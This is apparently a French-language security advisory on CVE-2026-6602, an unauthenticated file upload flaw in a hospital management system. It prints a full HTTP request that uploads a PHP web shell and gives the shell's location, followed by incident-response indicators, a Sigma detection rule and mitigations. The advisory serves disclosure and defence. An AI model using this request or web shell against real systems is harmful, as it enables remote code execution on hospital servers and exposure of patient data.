Aller au contenu

CVE-2026-6602 : Téléchargement de fichier arbitraire dans le système de gestion hospitalier rickxy

J’ai observé une faille de sécurité critique dans le HMS développé par rickxy. Cette vulnérabilité, référencée sous le nom CVE-2026-6602, permet à un attaquant non authentifié d’effectuer un AFU pour obtenir une RCE.

La faille est située dans le fichier /backend/admin/his_admin_account.php. L’application manque de validation de session appropriée et ne parvient pas à restreindre les types de fichiers, permettant aux attaquants de télécharger des scripts malveillants via le paramètre ad_dpic.

Analyse technique

L’application fait aveuglément confiance à l’en-tête Content-Type et omet de valider l’extension du fichier. En envoyant une requête multipart/form-data, un attaquant peut contourner toutes les mesures de contrôle d’accès prévues.

L’analyse indique que la requête suivante permet l’exécution de code :

POST /backend/admin/his_admin_account.php HTTP/1.1
Content-Type: multipart/form-data; boundary=aaa
--aaa
Content-Disposition: form-data; name="update_profile"
1
--aaa
Content-Disposition: form-data; name="ad_dpic"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
--aaa--

Le webshell résultant est accessible à l’emplacement /backend/admin/assets/images/users/shell.php.

Lors d’une intervention de réponse à incident impliquant cette CVE, recherchez :

  • Des requêtes POST inhabituelles vers /backend/admin/his_admin_account.php.
  • Des fichiers créés dans /backend/admin/assets/images/users/ avec des extensions .php ou .phtml.
title: Potential Unrestricted File Upload in Hospital Management System
status: experimental
description: Detects exploitation of CVE-2026-6602.
logsource:
category: web_server
detection:
selection_post:
method: POST
url|endswith: '/backend/admin/his_admin_account.php'
selection_get:
method: GET
url|contains: '/backend/admin/assets/images/users/'
url|endswith: '.php'
condition: selection_post or selection_get
level: critical
  1. Mettre en œuvre une liste blanche stricte des extensions de fichiers côté serveur.
  2. Valider le contenu du fichier en utilisant finfo_file ou getimagesize.
  3. Désactiver l’exécution de scripts dans le répertoire de téléchargement via la configuration du serveur web.
  4. Renommer tous les fichiers téléchargés avec un identifiant non prédictible.